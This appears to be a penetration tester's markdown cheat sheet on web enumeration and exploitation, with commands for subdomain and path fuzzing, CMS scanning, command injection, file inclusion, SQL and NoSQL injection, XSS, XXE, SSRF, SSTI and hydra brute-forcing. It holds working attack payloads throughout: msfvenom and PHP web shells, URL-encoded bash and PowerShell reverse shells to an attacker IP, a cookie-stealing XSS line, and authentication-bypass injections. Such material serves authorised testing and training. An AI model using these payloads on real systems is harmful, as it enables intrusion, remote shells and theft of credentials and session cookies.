Skip to content

Latest commit

 

History

History
496 lines (457 loc) · 19.9 KB

File metadata and controls

496 lines (457 loc) · 19.9 KB

Web enumeration and exploitation

Initial enumeration

nmap -vv -p 80,443 -sT --script=+http* <ip> # Other ports may also have an HTTP server running

Subdomain discovery

  • Brute forcing (run with any words count first to find the common one):
wfuzz -t 100 -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -H "Host: FUZZ.<domain>" --hw <words_count> --hc 400 -u <url>

Path discovery

  • Scan common paths:
feroxbuster -t 50 -L 2 -d 2 -u <url> -w /usr/share/seclists/Discovery/Web-Content/common.txt --extract-links
  • Scan common paths with web extensions:
feroxbuster -t 50 -L 2 -d 2 -u <url> -w /usr/share/seclists/Discovery/Web-Content/common.txt -x html,php,htm,asp,aspx,jsp,cgi --extract-links
  • Scan more paths with common web extensions:
feroxbuster -t 100 -L 1 -d 1 -u <url> -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,htm,asp,aspx,jsp,cgi
  • Scan more paths with common file extensions:
feroxbuster -t 100 -L 1 -d 1 -u <url> -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x bak,php.bak,php.swp,txt,log,xml,pdf,doc,docs,sh,pl,py,exe,jpeg,jpg,png,zip,tar.gz

General web server scanning

nikto -C all -h <url>

Specific technology enumeration

WordPress scanning

  • Always update wpscan before using:
wpscan --update
  • Enumerate common things:
wpscan --url <url> --enumerate vp,vt,tt,cb,dbe,u,m --plugins-detection aggressive --plugins-version-detection aggressive

Joomla scanning

joomscan -u <url>

Drupal scanning

droopescan scan drupal -u <url>

Command injection

  • PoC (both Windows and Linux):
whoami
  • Blind PoC:
sudo tcpdump ip proto \\icmp -i tun0

ping -c 1 <ip> 
ping -n 1 <ip> # Windows
  • Test blind command injection by redirecting output to a file that can be opened in the webserver:
whoami > /var/www/static/<filename>
whoami > /var/www/images/<filename>

File upload

msfvenom -p php/reverse_php LHOST=<ip> LPORT=443 -f raw > shell.php
msfvenom -p windows/shell_reverse_tcp LHOST=<ip> LPORT=443 -f asp > shell.asp
msfvenom -p windows/shell_reverse_tcp LHOST=<ip> LPORT=443 -f aspx > shell.aspx
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<ip> LPORT=443 -f raw > shell.jsp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<ip> LPORT=443 -f war > shell.war
  • Simple PHP reverse shell:
<?php system($_GET['c']); ?>
<website>/<filename>?c=bash+-c+"bash+-i+>%26+/dev/tcp/<ip>/443+0>%261"
<website>/<filename>?c=powershell+-c+"$client+%3d+New-Object+System.Net.Sockets.TCPClient('<ip>',443)%3b$stream+%3d+$client.GetStream()%3b[byte[]]$bytes+%3d+0..65535|%25{0}%3bwhile(($i+%3d+$stream.Read($bytes,+0,+$bytes.Length))+-ne+0){%3b$data+%3d+(New-Object+-TypeName+System.Text.ASCIIEncoding).GetString($bytes,0,+$i)%3b$sendback+%3d+(iex+$data+2>%261+|+Out-String+)%3b$sendback2+%3d+$sendback+%2b+'PS+'+%2b+(pwd).Path+%2b+'>+'%3b$sendbyte+%3d+([text.encoding]%3a%3aASCII).GetBytes($sendback2)%3b$stream.Write($sendbyte,0,$sendbyte.Length)%3b$stream.Flush()}%3b$client.Close()"

File inclusion

Local file inclusion (LFI)

  • Fuzzing URL params:
wfuzz -c -z file,/usr/share/wordlists/wfuzz/Injections/Traversal.txt --basic <username>:<password> -X <http_method> -u <url>?<param>=FUZZ
  • Basic PoC:
../../../../../../../../../etc/passwd
../../../../../../../../../etc/passwd%00
....//....//....//....//....//....//....//....//....//etc/passwd
....//....//....//....//....//....//....//....//....//etc/passwd%00
..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd
..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd%00
  • Reading a PHP file instead of executing it:
include("php://filter/convert.base64-encode/resource=<path_to_php_script>");

Remote file inclusion (RFI)

  • Basic PoC:
sudo python3 -m http.server 80
http://<my_ip>/test
http://<my_ip>/test%00
http:%252f%252f<my_ip>%252ftest
http:%252f%252f<my_ip>%252ftest%00
  • Bypassing URL prohibition:
data:text/plain,testing
data:text/plain,<?php system($_GET['c']); ?>

SQL injection

SQLI fuzzing

wfuzz -c -z file,/usr/share/wordlists/wfuzz/Injections/SQL.txt -d 'username=FUZZ&password=anypassword' -u <url>
wfuzz -c -z file,/usr/share/wordlists/wfuzz/Injections/SQL.txt,urlencode --basic <username>:<password> -X <http_method> -u '<url>?<param>=FUZZ'
wfuzz -c -z file,/usr/share/wordlists/wfuzz/Injections/SQL.txt --basic <username>:<password> -X <http_method>  -H '<header>: FUZZ' <url>
wfuzz -c -z file,/usr/share/wordlists/wfuzz/Injections/SQL.txt,urlencode --basic <username>:<password> -X <http_method>  -b '<cookie_name>=FUZZ' <url>

SQLI authentication bypass

wget https://raw.githubusercontent.com/payloadbox/sql-injection-payload-list/master/Intruder/exploit/Auth_Bypass.txt
wfuzz -c -z file,./Auth_Bypass.txt -d 'username=FUZZ&password=anypassword' -u <url>

SQLI select payloads

SELECT concat(<column_one>,char(58),<column_two>) FROM <table_name> -- MySQL
SELECT <column_one>||chr(58)||<column_two> FROM <table_name> -- PostgreSQL
SELECT <column_one>+char(58)+<column_two> FROM <table_name> -- MSSQL
SELECT <column_one>||chr(58)||<column_two> FROM <table_name>-- Oracle
  • Usecases (select payloads can be used with different SQL injection types or by themselves in these cases):
UPDATE table SET column = ''||(<select_query>) -- MySQL(if PIPES_AS_CONCAT=true)/PostgreSQL/Oracle
UPDATE table SET column = ''+(<select_query>) -- MSSQL

INSERT INTO table (column) VALUES (''||(<select_query>))  -- MySQL(if PIPES_AS_CONCAT=true)/PostgreSQL/Oracle
INSERT INTO table (column) VALUES (''+(<select_query>))  -- MSSQL

SQLI union-based

  • Get column number:
ORDER BY <N>

UNION SELECT NULL,NULL -- MySQL/PostgreSQL/MSSQL
UNION SELECT NULL,NULL FROM DUAL -- Oracle
  • Find which column can return a string:
UNION SELECT NULL,char(97) -- MySQL/MSSQL
UNION SELECT NULL,chr(97) -- PostgreSQL
UNION SELECT NULL,chr(97) FROM DUAL -- Oracle
  • Get some data:
UNION SELECT NULL,(<select_payload>) -- MySQL/MSSQL/PostgreSQL
UNION SELECT NULL,(<select_payload>) FROM DUAL -- Oracle (if select payload doesn't have FROM statement)
  • Usecases:
SELECT column FROM table WHERE another_column = 'wrong_value' <union_select_query> -- SELECT WHERE
SELECT column FROM table GROUP BY column <union_select_query> -- SELECT GROUP BY. You may have to skip original query response in the result set.
SELECT column FROM table GROUP BY column HAVING column = 'wrong_value' <union_select_query> -- SELECT HAVING
SELECT column FROM table WHERE any_column = 'wrong_value' <union_select_query> -- SELECT TABLE NAME

SQLI error-based

  • Proof of concept:
extractvalue(0x00,concat(0x3f,(concat(char(112),char(114),char(111),char(111),char(102))))) -- MySQL
cast(chr(112)||chr(114)||chr(111)||chr(111)||chr(102) AS INTEGER) -- PostgreSQL/Oracle
cast(char(112)+char(114)+char(111)+char(111)+char(102) AS INTEGER) -- MSSQL
  • Get some data:
extractvalue(0x00,concat(0x3f,(<select_payload>))) -- MySQL. Output is limited to 31 characters so better use substring(column_name,1,30) in select payloads.
cast((<select_payload>) AS INTEGER) -- PostgreSQL/Oracle/MSSQL
  • Usecases:
SELECT column FROM table WHERE another_column = 'any_value' AND <error_expression> -- SELECT WHERE
SELECT column FROM table ORDER BY <error_expression> -- SELECT ORDER BY
SELECT column FROM table GROUP BY <error_expression> -- SELECT GROUP BY
SELECT column FROM table GROUP BY column HAVING column = 'any_value' AND <error_expression> -- SELECT HAVING
SELECT column FROM table WHERE <error_expression> -- SELECT TABLE NAME

UPDATE table SET column = ''||(<error_expression>) -- UPDATE. MySQL(used as 'OR' if PIPES_AS_CONCAT=false)/PostgreSQL/Oracle
UPDATE table SET column = ''+(<error_expression>) -- UPDATE. MSSQL
UPDATE table SET column = 'FALSE' AND <error_expression> -- UPDATE
UPDATE table SET column = 'value' WHERE another_column = 'any_value' AND <error_expression> -- UPDATE WHERE

INSERT INTO table (column) VALUES (''||(<error_expression>))  -- INSERT. MySQL(used as 'OR' if PIPES_AS_CONCAT=false)/PostgreSQL/Oracle
INSERT INTO table (column) VALUES (''+(<error_expression>))  -- INSERT. MSSQL
INSERT INTO table (column) VALUES ('FALSE' AND <error_expression>) -- INSERT

SQLI conditional payloads

  • Proof of concept:
1=0
'1'='0' -- Don't comment the rest of the query, just don't close the last quote to keep everything from an original query.
  • Get data length:
length((<select_payload>))>1 -- MySQL/PostgreSQL/Oracle
len((<select_payload))>1 -- MSSQL
  • Get data characters one by one:
substring((<select_payload>),1,1) = 'a' -- MySQL/PostgreSQL/MSSQL
substr((<select_payload>),1,1) = 'a' -- Oracle
  • Compare to this data set (or char(32...126) to bypass filters) using Burp Intruder Brute Forcer:
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
  • Usecases (conditional payloads can be used in different conditional SQL injection types or by themselves in these cases):
SELECT column FROM table WHERE another_column = 'correct_value' AND <conditional_payload> -- SELECT WHERE
SELECT column FROM table WHERE <conditional_payload> -- SELECT TABLE NAME
SELECT column FROM table GROUP BY column HAVING column = 'any_value' AND <conditional_payload> -- SELECT HAVING
UPDATE table SET column = 'value' WHERE another_column = 'any_value' AND <conditional_payload> -- UPDATE WHERE

SQLI conditional ordering and grouping

  • In SELECT ORDER BY and SELECT GROUP BY locations conditional payloads can be used to change ordering/grouping:
(if((<conditional_payload>), <column_name1>, <column_name2>)) -- MySQL
(CASE WHEN(<conditional_payload>) THEN <column_name1> ELSE <column_name2> END) -- PostgreSQL/MSSQL/Oracle

SQLI conditional error

  • Get some data:
(if((<conditional_payload>),(SELECT table_name FROM information_schema.tables),TRUE)) -- MySQL. Multiple return value error.
(CASE WHEN(<conditional_payload>) THEN cast(1/0 as VARCHAR) ELSE chr(97) END)=chr(97) -- PostgreSQL
(CASE WHEN(<conditional_payload>) THEN cast(1/0 as VARCHAR) ELSE char(97) END)=char(97) -- MSSQL
(CASE WHEN(<conditional_payload>) THEN to_char(1/0) ELSE chr(97) END)=chr(97) -- Oracle
  • Usecases:
SELECT column FROM table WHERE another_column = 'correct_value' AND <conditional_error> -- SELECT WHERE
SELECT column FROM table WHERE <conditional_error> -- SELECT TABLE NAME
SELECT column FROM table GROUP BY column HAVING column = 'any_value' AND <conditional_error> -- SELECT HAVING

UPDATE table SET column = 'value' WHERE another_column = 'any_value' AND <conditional_error> -- UPDATE WHERE

SQLI conditional sleep

  • Get some data (returns true regardless of conditions, but sleeps on every row, so consider limiting the result set):
IF((<conditional_payload>), sleep(5), sleep(0))=sleep(0) -- MySQL
(CASE WHEN(<conditional_payload>) THEN chr(97)||pg_sleep(5) ELSE chr(97) END)=chr(97) -- PostgreSQL
  • Locations:
SELECT column FROM table WHERE another_column = 'correct_value' AND <conditional_sleep> -- SELECT WHERE
SELECT column FROM table WHERE <conditional_sleep> -- SELECT TABLE NAME
SELECT column FROM table GROUP BY column HAVING column = 'any_value' AND <conditional_sleep> -- SELECT HAVING

UPDATE table SET column = 'value' WHERE another_column = 'any_value' AND <conditional_sleep> -- UPDATE WHERE

SQLI conditional batch query sleep

  • Get some data (can be used as batch queries only):
; SELECT IF((<conditional_payload>),sleep(5),sleep(0)) -- MySQL. Only a couple of PHP and Python APIs support this.
; IF (<conditional_payload>) WAITFOR DELAY '0:0:5' -- MSSQL. Time cannot be replaced with chars.
; SELECT CASE WHEN (<conditional_payload>) THEN pg_sleep(5) ELSE pg_sleep(0) END -- PostgreSQL

NoSQL injection

NoSQLI Fuzzing

wget https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/NoSQL%20Injection/Intruder/NoSQL.txt
wfuzz -c -w ./NoSQL.txt -d 'username=FUZZ&password=anypassword' -u <url>

NoSQLI authentication bypass

  • Form data:
username[$ne]=wrongdata&password[$ne]=wrongdata
username[$regex]=a.*&password[$ne]=wrongdata
username[$gt]=admin&password[$ne]=wrongdata
  • Json:
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "wrongdata"}, "password": {"$ne": "wrongdata"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt": ""}, "password": {"$gt": ""}}

NoSQLI username/password brute-forcing

  • Form data:
echo 'a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 0 1 2 3 4 5 6 7 8 9 ! " # \$ % %26 '"'"' \( \) \* \+ , - \. / : ; < = > \? @ \[ \\\\ \] \^ _ ` \{ \| \} ~' > nosqli_regex.txt # Regex special characters are escaped
sed 's/\s\+/\n/g' -i nosqli_regex.txt

wfuzz -c -z file,./nosqli_regex.txt -d 'username[$regex]=^FUZZ.*&password[$ne]=wrongdata' -u <url>
wfuzz -c -z file,./nosqli_regex.txt -d 'username=<username>&password[$regex]=^FUZZ.*' -u <url>
  • Json:
echo 'a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 0 1 2 3 4 5 6 7 8 9 ! " # \$ % & '"'"' \( \) \* \+ , - \. / : ; < = > \? @ \[ \\\\ \] \^ _ ` \{ \| \} ~' > nosqli_regex.txt # Regex special characters are escaped
sed 's/\s\+/\n/g' -i nosqli_regex.txt

wfuzz -c -z file,./nosqli_regex.txt -d '{"username": {"$regex": "^FUZZ.*"}, "password": {"$ne": null}}' -u <url>
wfuzz -c -z file,./nosqli_regex.txt -d '{"username": "<username>", "password": {"$regex": "^FUZZ.*"}}' -u <url>

Cross site scripting (XSS)

  • PoC:
<script>alert(1)</script>
  • Blind PoC:
python3 -m http.server 8888
<script src=http://<my_ip>:8888></script>
  • Cookie stealing:
<script>document.write('<img src="<my_up>?c='+document.cookie+'" />');</script>

XML external entity (XXE)

  • PoC:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe "Vulnerable!!!"> ]>
<someTag>
	<someOtherTag>&xxe;</someOtherTag>
</someTag>
  • Blind PoC:
sudo nc -lvnp 443
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://<ip>:443"> ]>
<someTag>
	<someOtherTag>&xxe;</someOtherTag>
</someTag>
  • A simple payload to perform LFI attack:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<someTag>
    <someOtherTag>&xxe;</someOtherTag>
</someTag>
  • A simple payload to perform LFI attack using php filters:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
<someTag>
    <someOtherTag>&xxe;</someOtherTag>
</someTag>
  • A simple payload to perform SSRF attack:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://127.0.0.1"> ]>
<someTag>
    <someOtherTag>&xxe;</someOtherTag>
</someTag>

Server-side request forgery (SSRF)

  • A simple payload:
http://127.0.0.1:<port>/<path>
  • An advanced payload (using ipv6 or decimal value to bypass filters):
http://[::]:<port>/<path>
http://:::<port>/<path>
http://2130706433:<port>/<path>
  • Read a local file:
file://<file_path>

Server side template injection (SSTI)

  • Common PoC:
{{1+1}}
${1+1}
  • Fuzzing:
wget https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/Server%20Side%20Template%20Injection/Intruder/ssti.fuzz
wfuzz -c -w ./ssti.fuzz -d "<someparam>=FUZZ" -u <url>

Error-based information disclosure

  • Parameters/paths/headers/cookies fuzzing with some unusual data:
wfuzz -c -z file,/usr/share/wordlists/wfuzz/Injections/bad_chars.txt,urlencode --basic <username>:<password> -X <http_method> -u <url>?<param>=FUZZ
wfuzz -c -z file,/usr/share/wordlists/wfuzz/Injections/bad_chars.txt -d 'someparam=FUZZ' -u <url>
wfuzz -c -z file,/usr/share/wordlists/wfuzz/Injections/bad_chars.txt --basic <username>:<password> -X <http_method>  -H "<header>: FUZZ" <url>
wfuzz -c -z file,/usr/share/wordlists/wfuzz/Injections/bad_chars.txt,urlencode --basic <username>:<password> -X <http_method>  -b "<cookie_name>=FUZZ" <url>

Brute-forcing credentials

  • Brute-force post form username:
hydra -V -t 64 -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -p test -s <port> <ip_or_domain> http-post-form "/<path>:username=^USER^&password=^PASS^:<error_phrase>" # Important: do not put '/' after the <path>
  • Brute-force post form password:
hydra -V -t 64 -l <username> -P /usr/share/wordlists/rockyou.txt -s <port> <ip_or_domain> http-post-form "/<path>:username=^USER^&password=^PASS^:<error_phrase>"
  • Brute-force basic auth:
hydra -V -t 64 -l <username> -P /usr/share/wordlists/rockyou.txt -s <port> <ip_or_domain> http-get "/<path>"